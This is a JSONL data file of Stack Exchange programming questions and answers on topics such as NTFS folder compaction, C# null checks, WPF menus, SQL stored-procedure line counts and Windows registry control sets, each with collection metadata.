{"id": "hf_03b6ad95644f", "question": "<p>I have a folder in NTFS that contains tens of thousands of files. I've deleted all files in that folder, save 1. I ran contig.exe to defragment that folder so now it's in 1 fragment only. However, the size of that folder is still 8MB in size. This implies that there's a lot of gap in the index. Why is that? If I delete that one file, the size of the index automatically goes to zero. My guess is because it gets collapsed into the MFT. Is there any way to get NTFS to truly defragment the index file by defragmenting it based on the content of the file? Any API that you're aware of? Contig.exe only defragment the physical file.</p>\n", "question_body": "", "answer": "I guess this is one way in which NTFS is just like almost every other FS - none of them seem to like shrinking directories.\nSo you should apply a high-tech method that involves using that advanced language, \"BAT\" :)\ncollapse.bat\n```\n```\nREM Invoke as \"collapse dirname\"\nren dirname dirname.old\nmkdir dirname\ncd dirname.old\nmove * ../dirname/\ncd ..\nrmdir dirname.old\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.947821"}
{"id": "hf_ae85c64d73b8", "question": "<p>Is there a simple attribute or data contract that I can assign to a function parameter that prevents <code>null</code> from being passed in C#/.NET?  Ideally this would also check at compile time to make sure the literal <code>null</code> isn't being used anywhere for it and at run-time throw <code>ArgumentNullException</code>.</p>\n\n<p>Currently I write something like ...</p>\n\n<pre><code>if (null == arg)\n  throw new ArgumentNullException(\"arg\");\n</code></pre>\n\n<p>... for every argument that I expect to not be <code>null</code>.</p>\n\n<p>On the same note, is there an opposite to <code>Nullable&lt;&gt;</code> whereby the following would fail:</p>\n\n<pre><code>NonNullable&lt;string&gt; s = null; // throw some kind of exception\n</code></pre>\n", "question_body": "", "answer": "There's nothing available at compile-time, unfortunately.\nI have a bit of a\nhacky solution\nwhich I posted on my blog recently, which uses a new struct and conversions.\nIn .NET 4.0 with the\nCode Contracts\nstuff, life will be a lot nicer. It would still be quite nice to have actual language syntax and support around non-nullability, but the code contracts will help a lot.\nI also have an extension method in\nMiscUtil\ncalled ThrowIfNull which makes it a bit simpler.\nOne final point - any reason for using \"\n```\nif (null == arg)\n```\n\" instead of \"\n```\nif (arg == null)\n```\n\"? I find the latter easier to read, and the problem the former solves in C doesn't apply to C#.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:26.970697"}
{"id": "hf_97dcc6e79d38", "question": "<p>I am writing a Clone method using reflection. How do I detect that a property is an indexed property using reflection?  For example:</p>\n\n<pre><code>public string[] Items\n{\n   get;\n   set;\n}\n</code></pre>\n\n<p>My method so far:</p>\n\n<pre><code>public static T Clone&lt;T&gt;(T from, List&lt;string&gt; propertiesToIgnore) where T : new()\n{\n    T to = new T();\n\n    Type myType = from.GetType();\n\n    PropertyInfo[] myProperties = myType.GetProperties();\n\n    for (int i = 0; i &lt; myProperties.Length; i++)\n    {\n        if (myProperties[i].CanWrite &amp;&amp; !propertiesToIgnore.Contains(myProperties[i].Name))\n        {\n            myProperties[i].SetValue(to,myProperties[i].GetValue(from,null),null);\n        }\n    }\n\n    return to;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nif (propertyInfo.GetIndexParameters().Length > 0)\n{\n    // Property is an indexer\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.021805"}
{"id": "hf_bc405e8ae7f6", "question": "<p>I am looking for the VB.NET equivalent of</p>\n\n<pre><code>var strings = new string[] {\"abc\", \"def\", \"ghi\"};\n</code></pre>\n", "question_body": "", "answer": "```\n```\nDim strings As String() = New String() {\"abc\", \"def\", \"ghi\"}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.113178"}
{"id": "hf_cab578255ef6", "question": "<p>In a Windows program, what is the canonical way to parse the command line obtained from GetCommandLine into multiple arguments, similar to the argv array in Unix?  It seems that CommandLineToArgvW does this for a Unicode command line, but I can't find a non-Unicode equivalent.  Should I be using Unicode or not?  If not, how do I parse the command line?</p>\n", "question_body": "", "answer": "```\nCommandLineToArgvW()\n```\nis in shell32.dll.  I'd guessthat the Shell developers created the function for their own use, and it was made public either because someone decided that 3rd party devs would find it useful or because some court action made them do it.\nSince the Shell developers only ever needed a Unicode version that's all they ever wrote.  It would be fairly simple to write an ANSI wrapper for the function that converts the ANSI to Unicode, calls the function and converts the Unicode results to ANSI (and if Shell32.dll ever provided an ANSI variant of this API, that's probably exactly what would do).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.147618"}
{"id": "hf_3e51f815a9f6", "question": "<p>I have an XSD file that is encoded in UTF-8, and any text editor I run it through doesn't show any character at the beginning of the file, but when I pull it up in Visual Studio's debugger, I clearly see an empty box in front of the file.  </p>\n\n<p><img src=\"https://i294.photobucket.com/albums/mm93/geostock/bom3.jpg\" alt=\"Box in file\"></p>\n\n<p>I also get the error: </p>\n\n<p><strong>Data at the root level is invalid. Line 1, position 1.</strong></p>\n\n<p><img src=\"https://i294.photobucket.com/albums/mm93/geostock/bom4.jpg\" alt=\"alt text\"></p>\n\n<p>Anyone know what this is?</p>\n\n<p>Update: Edited post to qualify type of file. It's an XSD file created by Microsoft's XSD creator.</p>\n", "question_body": "", "answer": "It turns out, the answer is that what I'm seeing is a\nByte Order Mark\n, which is a character that tells whatever is loading the document what it is encoded in.  In my case, it's encoded in utf-8, so the corresponding BOM was\n```\nEF BB BF\n```\n, as shown below.  To remove it, I opened it up in\nNotepad++\nand clicked on \"Encode in UTF-8 without BOM\", as shown below:\n.\nTo actually see the BOM, I had to open it up in\nTextPad\nin Binary mode:, and conducted a\nGoogle search for \"\n```\nEF BB BF\n```\n\"\n.\nIt took me about 8 hours to find out this was what was causing it, so I thought I'd share this with everyone.\nUpdate\n: If I had read Joel Spolsky's blog post:\nThe Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)\n, then I might not have had this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.205495"}
{"id": "hf_84311cb3ec16", "question": "<p>When implementing the ViewModel in a Model-View-ViewModel architecture WPF application there seem to be two major choices how to make it databindable. I have seen implementations that use <code>DependencyProperty</code> for properties the View is going to bind against and I have seen the ViewModel implementing <code>INotifyPropertyChanged</code> instead. </p>\n\n<p>My question is when should I prefer one over the other? Are there any performance differences? Is it really a good idea to give the ViewModel dependencies to WPF? What else do I need to consider when make the design decision?</p>\n", "question_body": "", "answer": "The choice is totally based on your business logic and UI abstraction level. If you dont want a good separation then DP will work for you.\nDependencyProperties will be applicable mainly at the VisualElements level so it won't be good idea if we create lot of DPs for each of our business requirements. Also there is a greater cost for DP than a INotifyPropertyChanged. When you design a WPF/Silverlight try to design UI and ViewModel totally separate so that at any point of time we can change the Layout and UI controls (Based on theme and Styles)\nRefer this post also -\nhttps://stackoverflow.com/questions/275098/what-applications-could-i-study-to-understand-datamodel-view-viewmodel\n. The link has a lot of reference to Model-View-ViewModel pattern, which is very relevant to this discussion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.310265"}
{"id": "hf_e0f58e071b05", "question": "<p>In the Windows registry, how does <code>CurrentControlSet</code> differ from\n<code>ControlSet001</code> and <code>ControlSet002</code>? Which should be set when installing for all\nusers?</p>\n<p>We are trying to add an environment variable for all users. Is this correct?</p>\n<pre><code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Envinronment\n</code></pre>\n", "question_body": "", "answer": "Yes, you only need to update the\n```\nCurrentControlSet\n```\nkey...\n```\nControlSet001\n```\nand\n```\nControlSet002\n```\nare alternating backups of\n```\nCurrentControlSet\n```\n, you don't need to update them.\nEdit: As K noted,\n```\nCurrentControlSet\n```\nis an alternating symbolic link to either\n```\nControlSet001\n```\nor\n```\nControlSet002\n```\n. The other key is kept as a backup for the\nLoad Last Known Good Configuration boot option.\nEdit 2: See Microsoft KB Article 100010: What are Control Sets? What is CurrentControlSet?\nOriginal page link broken\n, see\narchive.org backup page\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.335045"}
{"id": "hf_11832b5b2223", "question": "<p>I have a simple WPF application with a menu.  I need to add menu items dynamically at runtime.  When I simply create a new menu item, and add it onto its parent MenuItem, it does not display in the menu, regardless of if UpdateLayout is called.</p>\n\n<p>What must happen to allow a menu to have additional items dynamically added at runtime?</p>\n\n<p>Note: the following code doesn't work.</p>\n\n<pre><code>            MenuItem mi = new MenuItem();\n            mi.Header = \"Item to add\";\n            mi.Visibility = Visibility.Visible;\n            //addTest is a menuitem that exists in the forms defined menu\n            addTest.Items.Add(mi);\n            addTest.UpdateLayout();\n</code></pre>\n\n<p>At the moment, the default menu items are defined in the xaml file.  I want to add additional menu items onto this menu and its existing menu items.  However, as stated, the above code does nothing.</p>\n", "question_body": "", "answer": "```\n```\n//Add to main menu\nMenuItem newMenuItem1 = new MenuItem();\nnewMenuItem1.Header = \"Test 123\";\nthis.MainMenu.Items.Add(newMenuItem1);\n\n//Add to a sub item\nMenuItem newMenuItem2 = new MenuItem();\nMenuItem newExistMenuItem = (MenuItem)this.MainMenu.Items[0];\nnewMenuItem2.Header = \"Test 456\";\nnewExistMenuItem.Items.Add(newMenuItem2);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.369715"}
{"id": "hf_55a9d6572b96", "question": "<p>I moved a bunch of projects to Solution Folders to chop up our list of projects into manageable folders, now each of the folders projects are not in alphabetical order. This only occurs on machines other than my own. Any ideas how to alleviate this?</p>\n", "question_body": "", "answer": "See the following bug information on MS Connect:\nhttps://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=312252&wa=wsignin1.0\nTo summarize:\n\"\nThe order they show up in solution explorer is the order in which they were written to the solution file.   However, if the folder is collapsed on startup it will be sorted when you expand it.\n\"\nTherefore, the fast solution would be to hand edit the solution file and put the projects in the order you wish.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.428135"}
{"id": "hf_1ac5a528da58", "question": "<p>I am currently looking at the \"unload\" event of a window to try to determine how the \"unload\" event was triggered, but am having little success. Is there a way to determine how the javascript event was triggered?</p>\n\n<ul>\n<li>Page Refresh</li>\n<li>Back Button (or navigate away from the page)</li>\n<li>Closing the Browser</li>\n</ul>\n\n<p>Essentially I need to execute some code only when the browser window is being closed, not refreshed or navigated away from.</p>\n\n<p><strong>Purpose:</strong> When a customer does an update of our software, the update will redirect their first Internet request to an offer page. There is a button for a \"Do Not Bother\" option, but some users will simply close their browser. Upon closing the browser, I need to duplicate the \"Do Not Bother\" functionality so the user no longer gets redirected to the offer page. Simply attaching to the \"unload\" event will not work due to the different ways of leaving a page.</p>\n", "question_body": "", "answer": "No, and if there was it would be browser dependent.\nWhat kind of code are you trying to run when the user closes the page?\nIs it to logout the user?\nThen the user would not be logged out if the browser crashes or the network connection breaks (and probably not if the computer goes to sleep/hibernation mode).\nIf it is for logout-purposes you should probably use a timestamp variable at the server that gets updated with every request (or use a ajax-ping), and logout the user if it hasn't been seen for a specified time.\nUpdate: Found\nthis answer\nhere at stackoverflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.450877"}
{"id": "hf_a9b10ae0107b", "question": "<p>I want a query that returns a list of all the (user) stored procedures in a database by name, with the number of lines of code for each one.</p>\n\n<p>i.e.</p>\n\n<pre><code>sp_name     lines_of_code\n--------    -------------\nDoStuff1    120\nDoStuff2    50\nDoStuff3    30\n</code></pre>\n\n<p>Any ideas how to do this?</p>\n", "question_body": "", "answer": "```\n```\nselect t.sp_name, sum(t.lines_of_code) - 1 as lines_ofcode, t.type_desc\nfrom\n(\n    select o.name as sp_name, \n    (len(c.text) - len(replace(c.text, char(10), ''))) as lines_of_code,\n    case when o.xtype = 'P' then 'Stored Procedure'\n    when o.xtype in ('FN', 'IF', 'TF') then 'Function'\n    end as type_desc\n    from sysobjects o\n    inner join syscomments c\n    on c.id = o.id\n    where o.xtype in ('P', 'FN', 'IF', 'TF')\n    and o.category = 0\n    and o.name not in ('fn_diagramobjects', 'sp_alterdiagram', 'sp_creatediagram', 'sp_dropdiagram', 'sp_helpdiagramdefinition', 'sp_helpdiagrams', 'sp_renamediagram', 'sp_upgraddiagrams', 'sysdiagrams')\n) t\ngroup by t.sp_name, t.type_desc\norder by 1\n```\n```\nEdited so it should also now work in SQL Server 2000- 2008 and to exclude Database Diagram-related sprocs and funcs (which appear like user created objects).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.527779"}
{"id": "hf_fec7158ad68b", "question": "<p>I want to store a very large amount of vector data on a server and only poll the parts I need at a given point...</p>\n\n<p>This shouldn't be a problem.</p>\n\n<p>Is there any way to take a vector file like an svg file and import it into a database? I could always write an svg parser to import it into my database, but is there any standard way of doing this or storing vector data in a database ?</p>\n", "question_body": "", "answer": "I don't think you can call it a standard, but here is an interesting link to an academic paper:\nA Design and Implementation of Spatial Database Based on XML-SVG\nAbstract:\nSVG, which stands for Scalable Vector Graphics, is an open standard in text that makes it possible to represent graphic information in compact, portable form and mostly faces on publishing the spatial vector graphics in network environment. In practice, it's impossible to avoid a great capacity of spatial data processing, which had made SVG document is too big to be implemented during publishing on the Internet.\nIt is slowed down the executing speed of the system on client side and is weaken its advantages and superiority. Such SVG database has been proposed as the solution for managing all the graphics and its attributes in a Web server. SVG document is mapped into SVG database that works as a buffer in the server. The issuance efficiency has been improved to a great extent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.550922"}
{"id": "hf_d4912fcbb5a8", "question": "<p>Using strictly SQL (no PHP or anything else), is it possible to create a table <strong>and insert default data into that table</strong> only if that table doesn't exist?</p>\n", "question_body": "", "answer": "Use the CREATE TABLE ... SELECT format:\n```\ncreate table if not exists tablename as\nselect * from defaultdata;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.574377"}
{"id": "hf_d1c8714820a4", "question": "<p>How can I tell the preprocessor not to replace a specific macro?</p>\n\n<p>The specific problem is the following: Windows header files define the GetMessage macro.</p>\n\n<p>My C++ header files with my API have a GetMessage method. I do not want to rename my method. But when using the API on Windows, including windows.h replaces my GetMessage method call with GetMessageA.</p>\n", "question_body": "", "answer": "have you tried just doing an\n```\n#undef GetMessage\n```\nor even\n```\n#ifdef GetMessage\n#undef GetMessage\n#endif\n```\nand then calling the windows GetMessageA or GetMessageW directly, whichever is appropriate.\nyou should know if you are using char* for wchar_t8..\n(thanks don.neufeld)\nBrian also says that\nJus some useful info, you can also use the #pragma push_macro/pop_macro to push and pop macro definitions. This is great if you want to override a macro definition in a block of code:\n```\n```\n#pragma push_macro(\"GetMessage\")\n#undef GetMessage\n\n// Your GetMessage usage/definition here\n\n#pragma pop_macro(\"GetMessage\")\n```\n```\nI suspect this is an MS specific feature though, so keep that in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.600852"}
{"id": "hf_afb906d4482f", "question": "<p>When you assign a date to a named SQL parameter Hibernate automatically converts it to GMT time. How do you make it use the current server timezone for all dates?</p>\n\n<p>Lets say you have a query:</p>\n\n<pre><code>Query q = session.createQuery(\"from Table where date_field &lt; :now\");\nq.setDate(\"now\", new java.util.Date());\n</code></pre>\n\n<p>\"now\" will be set to GMT time, while \"new Date()\" gets your current server time.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Hibernate is ignorant of timezones. Any timezone conversion should be done prior to executing the query.\nE.g., if your database server is set to CST, but the user is on EST, you'll need to add 1 hour to any timestamps which are the input to a query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.639723"}
{"id": "hf_e34ac1ef19f3", "question": "<p>I am trying to design a location lookup in which the user can specify a location to any desired level of accuracy. eg. one of Country, State, City, Borough etc,</p>\n\n<p>I have a used a common location table, which will then be used in a lookup with the table name selected dynamically, but was wondering if there is a feasible alternative way to do this.</p>\n\n<p><a href=\"http://img386.imageshack.us/img386/3842/locationschemadh6.png\" rel=\"nofollow noreferrer\">alt text http://img386.imageshack.us/img386/3842/locationschemadh6.png</a></p>\n\n<p><strong>Edit</strong> The hierarchical table looks like the way to go. Thanks for the tip.</p>\n", "question_body": "", "answer": "You might consider something like:\n```\n```\nlocations\n  id int\n  parentId int\n  name varchar(45)\n```\n```\nFrom this perspective you could load any type of location with any level depth.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.667773"}
{"id": "hf_93f9df875812", "question": "<p>I embedded a swf in my html page, but I would like it to swap to another swf when I clicked on a button in html. I used swfobject.js to embed the swf, and I use prototype to write the javascript. I thought I can just do this</p>\n\n<pre><code>$('movie').value = 'swf/bhts.swf';\nalert($('movie').value);\n</code></pre>\n\n<p>the value did change to swf/bhts.swf, but it is still playing the original swf file...\nthis is the code I use to embed swf</p>\n\n<pre><code>&lt;object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"530\" height=\"298\" id=\"flashcontent\"&gt;\n&lt;param id=\"movie\" name=\"movie\" value=\"swf/trailer.swf\" /&gt;\n&lt;/object&gt;\n</code></pre>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "Using swfObject:\n```\n```\n<div id='flashContent'>\n</div>\n\n<script type='text/javascript'>    \n    // Setup your initial flash \n    var so = new SwfObject(.....);\n    so.write ('flashContent');\n\n    // Some event handler\n    someElement.onclick = function ()\n    {\n         // Load up the new SWF\n         so = new swfObject(....);\n         so.write('flashContent');\n    }\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.719989"}
{"id": "hf_9cd82672e3bf", "question": "<p>I can't seem to retrieve the AlternateView from System.Net.Mail.AlternateView.</p>\n\n<p>I have an application that is pulling email via POP3.  I understand how to create an alternate view for sending, but how does one select the alternate view when looking at the email.  I've have the received email as a System.Net.MailMessage object so I can easily pull out the body, encoding, subject line, etc.  I can see the AlternateViews, that is, I can see that the count is 2 but want to extract something other than the HTML that is currently returned when I request the body.</p>\n\n<p>Hope this makes some amount of sense and that someone can shed some light on this.  In the end, I'm looking to pull the plaintext out, instead of the HTML and would rather not parse it myself.</p>\n", "question_body": "", "answer": "Its not immediately possible to parse an email with the classes available in the System.Net.Mail namespace; you either need to create your own MIME parser, or use a third party library instead.\nThis great Codeproject article by Peter Huber SG, entitled\n'POP3 Email Client with full MIME Support (.NET 2.0)'\nwill give you an understanding of how MIME processing can be implemented, and the related RFC specification articles.\nYou can use the Codeproject article as a start for writing your own parser, or appraise a library like\nSharpMimeTools\n, which is an open source library for parsing and decoding MIME emails.\nhttp://anmar.eu.org/projects/sharpmimetools/\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.743751"}
{"id": "hf_db88095b65e8", "question": "<p>Suppose I have a page that I am writing a javascript plugin for on the domain <code>first.com</code>.  The javascript plugin injects an iframe pointing to a login page (of domain <code>second.com</code>) into the <code>first.com</code> page and displays it as a popup so that the user can login.</p>\n\n<p>Is there anyway for me to hide/close the iframe after the user logs in with it?  I can inject any javascript necessary into the <code>first.com</code> page and I control both the client and server side code on the login page within the iframe.</p>\n\n<p>The main issue is that the iframe cannot access it's parent window to hide itself and the parent window cannot see any changes made in the contents of the iframe because of the same origin policy.  Is there anyway around this or should I just lose the iframe idea and instead open a new window?</p>\n", "question_body": "", "answer": "I think the issue you're running into is the browser stopping the cross-domain communication from happening.  There is a way to\nsign your javascript\nbut it is pretty much breaking the browser security model and isn't suggested unless absolutely necessary.\nIs there any way that the login form is based on URL submition?  You could create a simple sign in form and use AJAX to get your response back to ensure a successful login.  This solution depends on having a RESTful login and again, I'm not sure about the implementation of your second.com.\nIf you're wondering about how to use the ajax to submit a form, I'd check\nthis\nout (it is in jQuery but it applies to just about any framework.)  View the source on that and see if that could work in your situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.776821"}
{"id": "hf_8fac7c4ece36", "question": "<p>How can I take full advantage of 64-bit architecture in my .NET 2.0 Web Applications and Console/Forms Applications?</p>\n", "question_body": "", "answer": "I think there is not too much you can optimize in your managed .NET code regarding 32bit vs. 64bit architectures. This is because most of the differences and optimizatinons are most likely already implemented by the underlying VM. As mentioned in\nProgramming for the 64 bit platform\n, the 64bit VM may perform better on larger data types (as\n```\nlong\n```\nstored in one register).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.812991"}
{"id": "hf_fc7d80686963", "question": "<p>Have you ever had alternating background colors in a Jasper report and then exported it to Excel?  The Excel export seems to ignore the alternating color.</p>\n\n<p>I've got a Jasper report where the rows alternating background color using the procedure referenced <a href=\"http://www.brianburridge.com/2006/06/19/highlighting-odd-even-rows-jasperreports\" rel=\"nofollow noreferrer\">HERE</a>.  When I preview it using the viewer or export to PDF it works -- but not when I export to Excel.  I've tried using <code>JRXlsExporter</code> and <code>JExcelApiExporter</code> both to no avail. </p>\n\n<p>I think it might be a side-effect of how you have to make alternating row colors in Jasper, which I despise to begin with, but have found no other way.</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "Did you try the idea suggested in the\ncomment\nof the very procedure you are referring to ?\nFirst how to create new report style with condition:\nRecent releases of JasperReports include report styles, which make this a bit easier - you no longer have to create the rectangle.\nI use iReport to create my styles - there is a “styles” pane that by default is docked with the “Library” pane. If you make it visible you can create a new style in the styles library. In the screen that pops up give the style a name (say “EvenOddRowStyle” and press “Add” under “Style Conditions”. Use one of the expressions that Brian gave and press Apply. and in the “Common” section press the “…” button next to “Backcolor” and pick the background color you want. Finally, when done with your report apply that style to all the fields in the rows you want to highlight. Just drag the style from the styles pane onto the field.\nThen how to define a style which will be applied when exported to Excel:\ndefining a new style with the condition expression:\n```\n```\nBoolean.valueOf( $V{PAGE_COUNT}.intValue() % 2 == 0 )\n```\n```\non it\nwithout using a rectangle and a print when expression on it\n!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.836691"}
{"id": "hf_47e924aab81e", "question": "<p>We have an advanced webpage (ASP.NET, C#), and a application which needs to be installed on the client computer in order to utilize the webpage to its fullest. The application is a tray app, and has primarily two tasks. Detect when certain events happen on the webserver (for instance invited to a meeting, or notify of an upcoming meeting). The other task the trayapp has is to use a custom protocol (trayapp://) to perform some ajax calls back to the server.</p>\n\n<p>One problem we have is how to determine if the application is installed on the local machine or not. Now the user has to tick a checkbox to inform the website that the application is installed, and that it's safe to call the trayapp:// url calls.</p>\n\n<p>Is there any way, for instance through a JavaScript or similar to detect if our application is installed on the local machine?</p>\n\n<p>The check needs to work for IE, FF and Opera browsers.</p>\n", "question_body": "", "answer": "When installing your client-side app you could modify the browser configuration to include another request header in HTTP requests and then have the server code look for that header, for example as a supported mime type using the following registry key (for Internet explorer)\n```\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\\n                                                      Internet Settings\\Accepted Documents\n```\n```\nI am not sure if Opera and FF use this same key, but they likely have similar configuration options, but this should at least get you on the right track.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.861038"}
{"id": "hf_dfde4fb283c0", "question": "<p>Someone posted a great little function here the other day that separated the full path of a file into several parts that looked like this:</p>\n\n<pre><code>Function BreakDown(Full As String, FName As String, PName As String, Ext As String) As Integer\n If Full = \"\" Then\n BreakDown = False\n Exit Function\n End If\n If InStr(Full, \"\\\") Then\n FName = Full\n PName = \"\"\n Sloc% = InStr(FName, \"\\\")\n Do While Sloc% &lt;&gt; 0\n   PName = PName + Left$(FName, Sloc%)\n   FName = Mid$(FName, Sloc% + 1)\n   Sloc% = InStr(FName, \"\\\")\n Loop\n Else\n PName = \"\"\n FName = Full\n End If\nDot% = InStr(Full, \".\")\nIf Dot% &lt;&gt; 0 Then\n Ext = Mid$(Full, Dot%)\nElse\n Ext = \"\"\nEnd If\nBreakDown = True\n\nEnd Function\n</code></pre>\n\n<p>However if the line continues past that point it counts it as part of the extension, is there anyway to make this only count to 3 characters after the last period in a string?</p>\n", "question_body": "", "answer": "If you just have blank characters then just add this as the first line\n```\n```\nFull = Trim(Full)\n```\n```\nIf you have other characters then\nChange:\n```\n```\nExt = Mid$(Full, Dot%)\n```\n```\nto:\n```\n```\nExt = Mid$(Full, Dot%, 3)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.884384"}
{"id": "hf_db9b557b6394", "question": "<p>I have set of names and addresses that have been entered into and excel spreadsheet, but the problem is that the many people that entered the addresses entered them in many different non-standard formats.  I want to scrub the addresses before transferring all of of them to my database.  Looking around, all I really found in the way of address scrubbers(parsers or formatters) is the one that is put out by <a href=\"http://www.semaphorecorp.com/\" rel=\"noreferrer\">Semaphore</a>.  For my purposes, I don't really need all of that and I don't want to pay for the licensing fees for the software.  Is there anything out there that is Free and/or Open Source that will do the scrubbing for me? </p>\n", "question_body": "", "answer": "Most of the software that I've worked with to do this is very expensive (or to put it another way, marketing departments are naive and have huge budgets).\nThis sort of work is a precursor to Geo-coding.  This\nlinked Wiki article\nincludes a list of Geocoding software, some of which is free.  If you're lucky, some of the free ones may include address standardizing routines.\nIf you find a good one, let me know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:27.908235"}
